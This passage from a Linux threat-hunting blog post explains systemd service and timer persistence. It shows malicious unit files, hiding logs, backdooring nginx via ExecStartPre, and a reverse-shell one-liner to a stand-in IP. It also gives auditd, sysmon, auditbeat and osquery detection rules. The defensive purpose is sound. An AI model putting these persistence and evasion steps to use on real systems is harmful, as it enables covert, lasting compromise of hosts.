<h4 id="52-installing-a-malicious-service">5.2 Installing a malicious service</h4>
<h5 id="521-where-to-put-service-files">5.2.1 Where to put service files</h5>
<p>To install a service, we need to first creat a <code class="language-plaintext highlighter-rouge"><SERVICE>.service</code> unit file in one of the systemd’s unit load paths. Based on the man pages [1][2].</p>
<table>
<thead>
<tr>
<th>Path</th>
<th>Descrption</th>
</tr>
</thead>
<tbody>
<tr>
<td>/etc/systemd/system</td>
<td>System units created by the administrator</td>
</tr>
<tr>
<td>/usr/local/lib/systemd/system</td>
<td>System units installed by the administrator</td>
</tr>
<tr>
<td>/lib/systemd/system</td>
<td>System units installed by the distribution package manager</td>
</tr>
<tr>
<td>/usr/local/lib/systemd/system</td>
<td>System units installed by the distribution package manager</td>
</tr>
</tbody>
</table>
<p>The full paths and order that <code class="language-plaintext highlighter-rouge">systemd</code> will look for unit files can be enumerated using the <code class="language-plaintext highlighter-rouge">systemd-analyze unit-paths</code> command (Add <code class="language-plaintext highlighter-rouge">--user</code> for user mode). For example:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ systemd-analyze unit-paths
...
/etc/systemd/system
...
/usr/local/lib/systemd/system
/lib/systemd/system
/usr/lib/systemd/system
...
</code></pre></div></div>
<p>This is the exact order and locations that <code class="language-plaintext highlighter-rouge">systemd</code> will load services from. Some locations such as <code class="language-plaintext highlighter-rouge">/run/*</code> are transient and do not persist when the machine shuts down.</p>
<p>The first <code class="language-plaintext highlighter-rouge">*.service</code> file in the list will be used. For example, if <code class="language-plaintext highlighter-rouge">/lib/systemd/system/nginx.service</code> already exists and we create <code class="language-plaintext highlighter-rouge">/etc/systemd/system/nginx.service</code> then we are overriding the <code class="language-plaintext highlighter-rouge">nginx.service</code> because <code class="language-plaintext highlighter-rouge">/etc/systemd/system</code> takes precendence over <code class="language-plaintext highlighter-rouge">/lib/systemd/system/nginx.service</code>. This might be something we can explore if we want to compromise existing services instead of creating a new one.</p>
<h5 id="522-minimal-service-file">5.2.2 Minimal service file</h5>
<p>We want to create a service called <code class="language-plaintext highlighter-rouge">bad</code>. So we create a file named <code class="language-plaintext highlighter-rouge">/etc/systemd/system/bad.service</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description=Example of bad service
[Service]
ExecStart=python3 -m http.server --directory /
[Install]
WantedBy=multi-user.target
</code></pre></div></div>
<p>Once this is created, we need to <code class="language-plaintext highlighter-rouge">enable</code> the service so that it will run when the machine boots. The standard way to do this is</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>systemctl enable bad
</code></pre></div></div>
<p>If you named your service <code class="language-plaintext highlighter-rouge">netdns.service</code>, for example, then the you will run <code class="language-plaintext highlighter-rouge">systemctl enable netdns</code>. This command will look for a <code class="language-plaintext highlighter-rouge">bad.service</code> file in one of the unit paths, parse it and create a symlink for each target in the <code class="language-plaintext highlighter-rouge">WantedBy</code> setting.</p>
<p>Since <code class="language-plaintext highlighter-rouge">WantedBy=multi-user.target</code>, the target directory would be <code class="language-plaintext highlighter-rouge">/etc/systemd/system/multi-user.target.wants</code> and we can manually create the symlink</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ln -s /etc/systemd/system/bad.service /etc/systemd/system/multi-user.target.wants/bad.service
</code></pre></div></div>
<p>After the symlink is created, the OS will know to run <code class="language-plaintext highlighter-rouge">bad.service</code> when the machine boots up. To manually run the service, you can run <code class="language-plaintext highlighter-rouge">systemctl start bad</code>. If you modify a unit file, you need to reload it using <code class="language-plaintext highlighter-rouge">systemctl daemon-reload</code></p>
<p>In this example, <code class="language-plaintext highlighter-rouge">ExecStart</code> is a python3 but you can replace this with whatever command you want. It can be a reverse shell like <code class="language-plaintext highlighter-rouge">bash -i >& /dev/tcp/10.0.0.1/4242 0>&1</code> from whatever cheatsheet [3] or you can point this to a bash script or executable like <code class="language-plaintext highlighter-rouge">/tmp/backdoor</code> or <code class="language-plaintext highlighter-rouge">/opt/backdoor</code>.</p>
<h5 id="523-staying-covert">5.2.3 Staying covert</h5>
<p>Be conscious about the unit name, description, and the output of your script/executable.</p>
<p>By default, the description of the service will appear in syslog, and along with the <code class="language-plaintext highlighter-rouge">stdout</code>/<code class="language-plaintext highlighter-rouge">stderr</code>. Let’s say I have a python script that the service will run and it is trying to connect to a domain that we have failed to setup properly, then the service might right the following the <code class="language-plaintext highlighter-rouge">syslog</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Jan 30 07:35:56 test-auditd systemd[1]: Started Example of bad service.
Jan 30 07:36:27 test-auditd python3[957]: Traceback (most recent call last):
Jan 30 07:36:27 test-auditd python3[957]: File "<string>", line 1, in <module>
Jan 30 07:36:27 test-auditd python3[957]: TimeoutError: [Errno 110] Connection timed out
Jan 30 07:36:27 test-auditd systemd[1]: bad.service: Main process exited, code=exited, status=1/FAILURE
Jan 30 07:36:27 test-auditd systemd[1]: bad.service: Failed with result 'exit-code'.
</code></pre></div></div>
<p>This is problematic because this is something that might tip off the defenders.</p>
<p>A generic way to prevent <code class="language-plaintext highlighter-rouge">stdout/stderr</code> from being logged is to include the following under <code class="language-plaintext highlighter-rouge">[Service]</code> in the unit file.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>StandardOutput=null
StandardError=null
</code></pre></div></div>
<p>So after modifying the script to fail gracefully, and modfying the name, description, and logging of the service we might get something like.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Jan 30 08:00:16 test-auditd systemd[1]: Started Periodic DNS Lookup Service.
Jan 30 08:00:16 test-auditd systemd[1]: dns.service: Succeeded.
</code></pre></div></div>
<h5 id="524-user-systemd-services">5.2.4 User Systemd Services</h5>
<p>There is less common class of <code class="language-plaintext highlighter-rouge">systemd</code> service called user services. They reside in a different set of unit paths that is defined when running <code class="language-plaintext highlighter-rouge">systemd-analyze unit-paths --user</code> .</p>
<p>Output for Debian 10:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ systemd-analyze unit-paths --user
...
/home/user/.config/systemd/user
/etc/systemd/user
...
/home/user/.local/share/systemd/user
/usr/local/share/systemd/user
/usr/share/systemd/user
/usr/local/lib/systemd/user
/usr/lib/systemd/user
...
</code></pre></div></div>
<p>We can add a <code class="language-plaintext highlighter-rouge">bad_user.service</code> in <code class="language-plaintext highlighter-rouge">/etc/systemd/user</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description=Example of bad service
[Service]
ExecStart=<SOME COMMAND>
[Install]
WantedBy=default.target
</code></pre></div></div>
<p>We can enable this “globally” by creating a <code class="language-plaintext highlighter-rouge">/etc/systemd/user/default.target.wants</code> and creating a symlnk for <code class="language-plaintext highlighter-rouge">bad_user.service</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mkdir /etc/systemd/user/default.target.wants
ln -s /etc/systemd/user/bad_user.service /etc/systemd/user/default.target.wants/bad_user.service
</code></pre></div></div>
<p>After a reboot, the next time that a user logs in the machine, a dedicated <code class="language-plaintext highlighter-rouge">bad_user.service</code> is created. How is this different from the one we have before?</p>
<p>Below is an example of a process tree.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[root] systemd (PID 1)
├─ [root] sshd.service
├─ [root] rsyslog.service
├─ [root] bad.service
├─ [root] cron.service
│
├─ [user0] systemd --user
│ ├─ [user0] bad_user.service
│
├─ [user1] systemd --user
├─ [user1] bad_user.service
</code></pre></div></div>
<p>Since <code class="language-plaintext highlighter-rouge">sshd</code>, <code class="language-plaintext highlighter-rouge">cron</code> and <code class="language-plaintext highlighter-rouge">bad.service</code> are system services, only a single instance is created (usually running as root). If <code class="language-plaintext highlighter-rouge">user0</code> and <code class="language-plaintext highlighter-rouge">user1</code> logs in, two instances of <code class="language-plaintext highlighter-rouge">bad_user.service</code> are created because <code class="language-plaintext highlighter-rouge">bad_user.service</code> is a user service.</p>
<p>Typically, an attacker needs to have root privileges to be able to create any system services. On the other hand, any user can create their own user unit files in <code class="language-plaintext highlighter-rouge">~/.config/systemd/user</code> This can be useful to maintain user persistence until the attackers get root.</p>
<p>As a regular user you can trigger these <code class="language-plaintext highlighter-rouge">systemctl</code> with the <code class="language-plaintext highlighter-rouge">--user</code> flag</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mkdir -p /home/user0/.config/systemd/user
vi /home/user0/.config/systemd/user/bad_user.service
systemctl daemon-reload --user
systemctl enable bad_user
systemctl start bad_user
</code></pre></div></div>
<h4 id="53-detection-addition-changes-in-systemd-unit-paths">5.3 Detection: Addition changes in systemd unit paths</h4>
<p>As we have seen, the installation of a service is simply the creation of a file and the creation of a symlink. We have to look for file modification and creation in persistent paths listed in <code class="language-plaintext highlighter-rouge">systemd-analyze unit-paths</code>. Based on this, and corroborated by <a href="https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/">[4]</a>, the five main candidates are the following:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">/etc/systemd/*</code></li>
<li><code class="language-plaintext highlighter-rouge">/usr/local/lib/systemd/*</code></li>
<li><code class="language-plaintext highlighter-rouge">/lib/systemd/*</code></li>
<li><code class="language-plaintext highlighter-rouge">/usr/lib/systemd/*</code></li>
<li><code class="language-plaintext highlighter-rouge"><USER HOME>/.config/systemd/user</code></li>
</ul>
<p>If the attacker wants to properly run the service, then they might call <code class="language-plaintext highlighter-rouge">systemctl</code> or <code class="language-plaintext highlighter-rouge">service</code> command line so monitoring execution of these might also show malicious services. However, it as we’ve shown in the previous sections, it is possible to <code class="language-plaintext highlighter-rouge">enable</code> a service by manually creating the symlink.</p>
<h4 id="54-detecting-using-auditd-rules">5.4 Detecting using auditd rules</h4>
<p>Our reference <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">Neo23x0/auditd</a> rules give us the following rules.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /bin/systemctl -p x -k systemd
-w /etc/systemd/ -p wa -k systemd
</code></pre></div></div>
<p>This will fail to detect persistence installation such as those found in metasploit’s <code class="language-plaintext highlighter-rouge">service_persistence</code> <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/service_persistence.rb">[6]</a> where metasploit installs the service file in <code class="language-plaintext highlighter-rouge">/lib/systemd/system/#{service_filename}.service</code></p>
<p>For this, I recommend adding the following rules</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /usr/lib/systemd/ -p wa -k systemd
-w /lib/systemd/ -p wa -k systemd
# Directories may not exist
-w /usr/local/lib/systemd/ -p wa -k systemd
-w /usr/local/share/systemd/user -p wa -k systemd_user
-w /usr/share/systemd/user -p wa -k systemd_user
</code></pre></div></div>
<p>The commented out rules may not be immediately applicable because they might not exist depending on the distro you are using. We cannot use auditd rules for directories that don’t exist at the time the service is started.</p>
<p>Example auditd logs are:</p>
<pre class="highlight">
<code>SYSCALL arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=55e618b75510 a2=241 a3=1b6 items=2 ppid=2719 pid=2738 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=5 comm="bash" exe="/usr/bin/bash" subj==unconfined <u><b>key="systemd"</b></u>
PATH item=0 <u><b>name="/etc/systemd/system/"</b></u> inode=90 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PATH item=1 <u><b>name="/etc/systemd/system/bad_auditd_example.service"</b></u> inode=11867 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PROCTITLE proctitle="bash"
</code></pre>
<h4 id="55-detecting-using-sysmon-rules">5.5 Detecting using sysmon rules</h4>
<h5 id="551-using-sysmon">5.5.1 Using sysmon</h5>
<p>For sysmon, we can see the following rule in <a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1543.002_CreateModSystemProcess_Systemd.xml">T1543.002_CreateModSystemProcess_Systemd.xml</a></p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nt"><FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1543.002,TechniqueName=Create or Modify System Process: Systemd Service"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">></span>/etc/systemd/system<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">></span>/usr/lib/systemd/system<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">></span>/run/systemd/system/<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">></span>/systemd/user/<span class="nt"></TargetFilename></span>
<span class="nt"></Rule></span>
<span class="nt"></FileCreate></span>
</code></pre></div></div>
<p>Similar to the previous section, to detect metasploit, I recommend adding</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">></span>/lib/systemd/system/<span class="nt"></TargetFilename></span>
</code></pre></div></div>
<p>Example sysmon log:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?xml version="1.0"?></span>
<span class="nt"><Event></span>
<span class="nt"><System></span>
<span class="nt"><Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/></span>
<span class="nt"><EventID></span>11<span class="nt"></EventID></span>
<span class="nt"><Version></span>2<span class="nt"></Version></span>
<span class="nt"><Level></span>4<span class="nt"></Level></span>
<span class="nt"><Task></span>11<span class="nt"></Task></span>
<span class="nt"><Opcode></span>0<span class="nt"></Opcode></span>
<span class="nt"><Keywords></span>0x8000000000000000<span class="nt"></Keywords></span>
<span class="nt"><TimeCreated</span> <span class="na">SystemTime=</span><span class="s">"2022-01-30T09:55:21.054861000Z"</span><span class="nt">/></span>
<span class="nt"><EventRecordID></span>20<span class="nt"></EventRecordID></span>
<span class="nt"><Correlation/></span>
<span class="nt"><Execution</span> <span class="na">ProcessID=</span><span class="s">"2571"</span> <span class="na">ThreadID=</span><span class="s">"2571"</span><span class="nt">/></span>
<span class="nt"><Channel></span>Linux-Sysmon/Operational<span class="nt"></Channel></span>
<span class="nt"><Computer></span>test-auditd2<span class="nt"></Computer></span>
<span class="nt"><Security</span> <span class="na">UserId=</span><span class="s">"0"</span><span class="nt">/></span>
<span class="nt"></System></span>
<span class="nt"><EventData></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"RuleName"</span><span class="nt">></span>TechniqueID=T1543.002,TechniqueName=Create or Modify Sys<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"UtcTime"</span><span class="nt">></span>2022-01-30 09:55:21.062<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ProcessGuid"</span><span class="nt">></span>{f4c1cbc8-6089-61f6-8d07-9717e6550000}<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">></span>2738<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">></span>/usr/bin/bash<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"TargetFilename"</span><span class="nt">></span>/etc/systemd/system/bad_sysmon_example.service<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"CreationUtcTime"</span><span class="nt">></span>2022-01-30 09:55:21.062<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">></span>root<span class="nt"></Data></span>
<span class="nt"></EventData></span>
<span class="nt"></Event></span>
</code></pre></div></div>
<h5 id="552-caveats-for-detecting-using-sysmon-rules">5.5.2 Caveats for detecting using sysmon rules</h5>
<p>It should be noted that this can only detect the file creation. We have shown some problems with this in the <a href="https://pberba.github.io/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/#25-detection-using-sysmon-to-detect-user-creation">previous blog post</a>. To recap, this will fail if:</p>
<ol>
<li>The <code class="language-plaintext highlighter-rouge">bad.service</code> file is created outside the directory and moved into the <code class="language-plaintext highlighter-rouge">systemd</code> directory</li>
<li>An existing file is modified</li>
</ol>
<p>For example, the sysmon rules above will not be triggered by this script (while the auditd rules above will catch this).</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat > /tmp/bad_sysmon.service << EOF
[Unit]
Description=Example of bad service
[Service]
ExecStart=python3 -m http.server --directory / 9998
[Install]
WantedBy=multi-user.target
EOF
mv /tmp/bad_sysmon.service /etc/systemd/system/bad_sysmon.service
ln -s /etc/systemd/system/bad_sysmon.service /tmp/bad_sysmon.service
mv /tmp/bad_sysmon.service /etc/systemd/system/multi-user.target.wants/bad_sysmon.service
</code></pre></div></div>
<h4 id="56-detecting-using-auditbeats">5.6 Detecting using auditbeats</h4>
<p>Of course, just like <code class="language-plaintext highlighter-rouge">auditd</code> we can use <code class="language-plaintext highlighter-rouge">auditbeat</code>’s file integrity monitoring for this. But it should be noted that the default configuration of <code class="language-plaintext highlighter-rouge">auditbeats</code> <em>does not monitor systemd files</em>. <a href="https://www.elastic.co/guide/en/beats/auditbeat/6.8/auditbeat-module-file_integrity.html">[7]</a>.</p>
<p>Although the default configuration does monitor <code class="language-plaintext highlighter-rouge">/etc/</code> , the setting <code class="language-plaintext highlighter-rouge">recursive</code> is set to <code class="language-plaintext highlighter-rouge">false</code>. This means that <code class="language-plaintext highlighter-rouge">/etc/system/systemd</code> is not monitored. Either set <code class="language-plaintext highlighter-rouge">recursive: true</code> or include the paths we’ve enumerated in the config.</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">file_integrity</span>
<span class="na">paths</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">/bin</span>
<span class="pi">-</span> <span class="s">/usr/bin</span>
<span class="pi">-</span> <span class="s">/sbin</span>
<span class="pi">-</span> <span class="s">/usr/sbin</span>
<span class="pi">-</span> <span class="s">/etc</span>
<span class="pi">-</span> <span class="s">/etc/systemd/system</span>
<span class="pi">-</span> <span class="s">/lib/systemd/system</span>
<span class="pi">-</span> <span class="s">/usr/lib/systemd/system</span>
<span class="c1"># recursive: true</span>
</code></pre></div></div>
<p>If setup properly, the creation of a service and running <code class="language-plaintext highlighter-rouge">systemctl daemon-reload</code> should result in the following logs</p>
<p><img src="/assets/posts/20220130/534_auditbeats_systemd.png" alt="" /></p>
<h4 id="57-hunting-using-osquery">5.7 Hunting using osquery</h4>
<h5 id="571-listing-systemd-unit-files-with-hashes">5.7.1 Listing systemd unit files with hashes</h5>
<p>Here we look for services</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SELECT id, description, fragment_path, md5
FROM systemd_units
JOIN hash ON (hash.path = systemd_units.fragment_path)
WHERE id LIKE "%service";
</code></pre></div></div>
<p><img src="/assets/posts/20220130/581-osquery-systemd-units.png" alt="" /></p>
<h5 id="572-listing-startup-services">5.7.2 Listing startup services</h5>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">name</span><span class="p">,</span> <span class="k">source</span><span class="p">,</span> <span class="n">path</span><span class="p">,</span> <span class="n">status</span><span class="p">,</span> <span class="n">md5</span>
<span class="k">FROM</span> <span class="n">startup_items</span>
<span class="k">JOIN</span> <span class="n">hash</span>
<span class="k">USING</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="k">WHERE</span> <span class="n">path</span> <span class="k">LIKE</span> <span class="nv">"%.service"</span> <span class="k">AND</span> <span class="n">status</span> <span class="o">=</span> <span class="nv">"inactive"</span>
<span class="k">ORDER</span> <span class="k">BY</span> <span class="n">name</span><span class="p">;</span>
</code></pre></div></div>
<p>This will return <code class="language-plaintext highlighter-rouge">startup_items</code> that are <code class="language-plaintext highlighter-rouge">*.service</code> with their path and hashes. These are the services that are <code class="language-plaintext highlighter-rouge">enabled</code>.
<img src="/assets/posts/20220130/581-osquery--startup.png" alt="" /></p>
<h5 id="573-listing-processes-created-by-systemd">5.7.3 Listing processes created by systemd</h5>
<p>The services created by <code class="language-plaintext highlighter-rouge">systemd</code> will have a parent process ID of 1. So we can also look at weird processes that have a parent PID of 1. As suggested by [4], look for processes that run on <code class="language-plaintext highlighter-rouge">python</code>, <code class="language-plaintext highlighter-rouge">bash</code>, or <code class="language-plaintext highlighter-rouge">sh</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SELECT pid, name, path, cmdline, uid FROM processes WHERE parent = 1
</code></pre></div></div>
<p><img src="/assets/posts/20220130/581-osquery-systemd-processes.png" alt="" /></p>
<h5 id="574-listing-failed-services">5.7.4 Listing failed services</h5>
<p>If a backdoor or beacon was improperly configured, then this might fail.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">id</span><span class="p">,</span> <span class="n">description</span><span class="p">,</span> <span class="n">fragment_path</span><span class="p">,</span> <span class="n">sub_state</span><span class="p">,</span> <span class="n">md5</span>
<span class="k">FROM</span> <span class="n">systemd_units</span>
<span class="k">JOIN</span> <span class="n">hash</span>
<span class="k">ON</span> <span class="p">(</span><span class="n">hash</span><span class="p">.</span><span class="n">path</span> <span class="o">=</span> <span class="n">systemd_units</span><span class="p">.</span><span class="n">fragment_path</span><span class="p">)</span>
<span class="k">WHERE</span> <span class="n">sub_state</span><span class="o">=</span><span class="s1">'failed'</span><span class="p">;</span>
</code></pre></div></div>
<p><img src="/assets/posts/20220130/581-osquery-failed-services.png" alt="" /></p>
<h4 id="58-additional-notes-modifying-existing-services">5.8 Additional notes: Modifying existing services</h4>
<p>Instead of creating a new systemd service, an attacker can just modify existing services. For example they can:</p>
<ul>
<li>Modifying existing <code class="language-plaintext highlighter-rouge">.service</code> files</li>
<li>Overriding existing <code class="language-plaintext highlighter-rouge">.service</code> files</li>
<li>Modifying executable files used by <code class="language-plaintext highlighter-rouge">.service</code></li>
</ul>
<p>Let’s say our target is <code class="language-plaintext highlighter-rouge">nginx</code>. To know where the <code class="language-plaintext highlighter-rouge">nginx.service</code> is, we can use</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ systemctl status nginx
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
</code></pre></div></div>
<p>We want to modify <code class="language-plaintext highlighter-rouge">/lib/systemd/system/nginx.service</code>. If we want to add a long running process with this without interrupting the real <code class="language-plaintext highlighter-rouge">nginx</code> process, we can use the <code class="language-plaintext highlighter-rouge">ExecStartPre</code> which runs a command before the actual process.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>...
[Service]
Type=forking
PIDFile=/run/nginx.pid
ExecStartPre=/usr/sbin/nginx -t -q -g 'daemon on; master_process on;'
ExecStartPre=/root/run.sh # <------------- ADD THIS
ExecStart=/usr/sbin/nginx -g 'daemon on; master_process on;'
...
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">systemd</code> can handle multiple <code class="language-plaintext highlighter-rouge">ExecStartPre</code> so we can add script. A template for <code class="language-plaintext highlighter-rouge">/root/run.sh</code> can be</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#! /bin/bash
<COMMAND> 2>/dev/null >/dev/null & disown
</code></pre></div></div>
<p>With that the next time <code class="language-plaintext highlighter-rouge">nginx</code> starts (next reboot) our <code class="language-plaintext highlighter-rouge">run.sh</code> will also run. However, if you want to restart then we use</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>systemctl daemon-reload
systemctl restart nginx
</code></pre></div></div>
<p>We have several options for modfying:</p>
<ol>
<li>Modify <code class="language-plaintext highlighter-rouge">/lib/systemd/system/nginx.service</code> directly, but if <code class="language-plaintext highlighter-rouge">nginx</code> updates this file will be overwritten.</li>
<li>Add an <code class="language-plaintext highlighter-rouge">nginx.service</code> in earlier paths as discussed in the (5.2.1) <code class="language-plaintext highlighter-rouge">/etc/systemd/system</code>
or <code class="language-plaintext highlighter-rouge">/usr/local/lib/systemd/system</code></li>
<li>Create <code class="language-plaintext highlighter-rouge">/etc/systemd/system/nginx.service.d/local.conf</code> and this will update the config</li>
</ol>
<p>Sample contents of <code class="language-plaintext highlighter-rouge">/etc/systemd/system/nginx.service.d/local.conf</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Service]
ExecStartPre=/root/run.sh
</code></pre></div></div>
<p>Similar to creation of a new service, detecting this would require a form of file integrity monitoring. So be careful with just whitelisting services when looking for malicious installations.</p>
<h3 id="6-scheduled-taskjob-systemd-timers">6 Scheduled Task/Job: Systemd Timers</h3>
<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1053/006/">https://attack.mitre.org/techniques/T1053/006/</a></p>
<h4 id="61-understanding-systemd-timers">6.1 Understanding systemd timers</h4>
<p>Previously, the services are triggered during boot time. But that is not the only way a service can be triggered. Another way is using <code class="language-plaintext highlighter-rouge">timers</code>. We can list existing timers in a VM using <code class="language-plaintext highlighter-rouge">systemctl list-timers</code></p>
<p><img src="/assets/posts/20220130/6-systemctl-list-timers.png" alt="" /></p>
<p>This is an alternative to the more well known <code class="language-plaintext highlighter-rouge">cron</code>.</p>
<p>To understand this, there are two unit files we need:</p>
<ol>
<li><code class="language-plaintext highlighter-rouge">SERVICE_NAME.timer</code></li>
<li><code class="language-plaintext highlighter-rouge">SERVICE_NAME.service</code></li>
</ol>
<p>The <code class="language-plaintext highlighter-rouge">.service</code> file is almost the same as the one we just discussed.</p>
<p>Let’s first look at an example of timers in action. If you want to know the location of a timer we can run</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># systemctl status google-oslogin-cache.timer
● google-oslogin-cache.timer - NSS cache refresh timer
Loaded: loaded (/lib/systemd/system/google-oslogin-cache.timer; enabled; vendor preset: enabled)
Active: active (waiting) since Sun 2022-01-30 09:34:40 UTC; 2h 39min ago
</code></pre></div></div>
<p>In this case, <code class="language-plaintext highlighter-rouge">google-oslogin-cache.timer</code> is in <code class="language-plaintext highlighter-rouge">/lib/systemd/system/google-oslogin-cache.timer</code>.</p>
<p>If we look at the content of <code class="language-plaintext highlighter-rouge">google-oslogin-cache.timer</code> we see:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description=NSS cache refresh timer
[Timer]
OnBootSec=5
OnUnitActiveSec=6h
[Install]
WantedBy=timers.target
</code></pre></div></div>
<p>This means that</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">OnUnitActiveSec=6h</code>: how long to wait before triggering the service again</li>
<li><code class="language-plaintext highlighter-rouge">WantedBy=timers.target</code>: the <code class="language-plaintext highlighter-rouge">.timer</code> should be treated as a <code class="language-plaintext highlighter-rouge">timer</code></li>
</ul>
<p>The associated <code class="language-plaintext highlighter-rouge">google-oslogin-cache.service</code> is very simple. The <code class="language-plaintext highlighter-rouge">[Install]</code> section empty because this service will be triggered by its timer.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description=NSS cache refresh
[Service]
Type=oneshot
ExecStart=/usr/bin/google_oslogin_nss_cache
</code></pre></div></div>
<h4 id="62-creating-a-malicious-timer">6.2 Creating a malicious timer</h4>
<p>With that, we know enough to create a malicious timer.</p>
<p>We created a file <code class="language-plaintext highlighter-rouge">/etc/systemd/system/scheduled_bad.timer</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description=Bad timer
[Timer]
OnBootSec=5
OnUnitActiveSec=5m
[Install]
WantedBy=timers.target
</code></pre></div></div>
<p>We created its service <code class="language-plaintext highlighter-rouge">/etc/systemd/system/scheduled_bad.service</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description=Bad timer
[Service]
ExecStart=/opt/beacon.sh
</code></pre></div></div>
<p>And we now enable it and start the timer</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># systemctl daemon-reload
systemctl enable scheduled_bad.timer
systemctl start scheduled_bad.timer
</code></pre></div></div>
<p>Similar to a regular service, the <code class="language-plaintext highlighter-rouge">enable</code> here created a symlink for each target in <code class="language-plaintext highlighter-rouge">WantedBy</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Created symlink /etc/systemd/system/timers.target.wants/scheduled_bad.timer → /etc/systemd/system/scheduled_bad.timer.
</code></pre></div></div>
